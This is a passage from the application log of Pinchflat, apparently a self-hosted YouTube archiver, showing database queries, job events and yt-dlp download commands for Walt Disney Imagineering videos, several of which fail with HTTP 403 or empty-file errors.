→\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🏔️ in the comments if you think Disney mountains rock!\n\n#waltdisneyimagineering #imagineerthat #disneymountains", "How do Disney Imagineers make mountains? | Imagineer That!", "YLZlSxFU1rE", "https://www.youtube.com/watch?v=YLZlSxFU1rE", 188, false, "/downloads/Walt Disney Imagineering/2025-09-15 How do Disney Imagineers make mountains? | Imagineer That!/How do Disney Imagineers make mountains? | Imagineer That! [YLZlSxFU1rE].mp4", false, 2, ~U[2025-09-15 16:01:04Z]] 18:57:22.662 [debug] QUERY OK source="sources" db=0.1ms idle=3.5ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-31 22:57:22Z], ~U[2026-03-31 22:57:22Z], 2] 18:57:22.663 [debug] QUERY OK source="media_items" db=0.6ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:57:22.665 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:57:22.666 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 18:57:22.666 [info] No notification servers provided for source 2 18:57:22.667 [debug] QUERY OK source="tasks" db=0.1ms idle=1.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1737, 2, ~U[2026-03-31 22:57:22Z], ~U[2026-03-31 22:57:22Z]] 18:57:22.667 [info] {"args":{"id":2},"id":1725,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":64117681,"event":"job:stop","queue_time":943281,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:57:26.770 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/75/fc/75fc60d4d3f958956635e7fc6597a789e456e79abcd3a8729416d7d70a9d8091.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 18:57:26.770 [debug] Running yt-dlp command for action: download 18:57:26.771 [debug] QUERY OK source="settings" db=0.1ms idle=250.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:26.771 [debug] QUERY OK source="settings" db=0.1ms idle=250.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:26.771 [debug] QUERY OK source="settings" db=0.0ms idle=250.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:26.771 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/39/32/3932b096d45da018a14762eb51c15565da693724833aa483530bab8723c10db4.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:57:49.493 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/77/62/77628bacc8d374a3c21ef29abe93c8eb658e2fb7f78da69167bc06f32c32291f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 18:57:49.493 [error] yt-dlp download error for media item #12001: "ERROR: The downloaded file is empty\n" 18:57:49.495 [debug] QUERY OK source="media_items" db=1.0ms idle=973.4ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: The downloaded file is empty\n", ~U[2026-03-31 22:57:49Z], 12001] 18:57:49.495 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12001},"id":1735,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":65076978,"event":"job:exception","queue_time":8417451,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:57:49.502 [info] {"args":{"id":13020},"id":1733,"meta":{},"system_time":1774997869502190090,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:57:49.502 [debug] QUERY OK source="media_items" db=0.2ms idle=981.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 18:57:49.502 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:57:49.503 [debug] QUERY OK source="sources" db=0.1ms idle=950.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:49.503 [debug] QUERY OK source="media_profiles" db=0.1ms idle=8.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:57:49.504 [debug] QUERY OK source="media_items" db=0.3ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 18:57:49.504 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13020] 18:57:49.504 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:57:49.505 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:49.505 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:49.505 [debug] Running yt-dlp command for action: get_downloadable_status 18:57:49.506 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:49.506 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:49.506 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:49.506 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f8/76/f8766162c1710666b1485e0d351a159cef69a659709d687c65095edb9c5f21e5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:57:49.962 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:54.655 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f8/76/f8766162c1710666b1485e0d351a159cef69a659709d687c65095edb9c5f21e5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 18:57:54.655 [debug] Running yt-dlp command for action: download 18:57:54.656 [debug] QUERY OK source="settings" db=0.2ms idle=1098.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:54.656 [debug] QUERY OK source="settings" db=0.1ms idle=135.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:54.656 [debug] QUERY OK source="settings" db=0.1ms idle=135.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:54.656 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/08/53/085376b9316f00cf4479bbc866781b996c72a18667f92f19d49a4ecc12e86ae0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:58:00.965 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:58:02.995 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/08/53/085376b9316f00cf4479bbc866781b996c72a18667f92f19d49a4ecc12e86ae0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-18. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-17. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-16. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-15. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-14. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-13. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-12. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-11. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-10. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-9. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-8. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-7. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-6. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-5. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-4. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-3. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-2. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-1. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-0. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 18:58:02.995 [error] yt-dlp download error for media item #13020: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 18:58:02.996 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13020},"id":1733,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":13493892,"event":"job:exception","queue_time":48090024,"attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:58:03.003 [info] {"args":{"id":12518},"id":1734,"meta":{},"system_time":1774997883003397342,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:58:03.003 [debug] QUERY OK source="media_items" db=0.2ms idle=482.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 18:58:03.004 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:58:03.004 [debug] QUERY OK source="sources" db=0.2ms idle=483.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:58:03.004 [debug] QUERY OK source="media_profiles" db=0.2ms idle=438.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:58:03.005 [debug] QUERY OK source="media_items" db=0.3ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 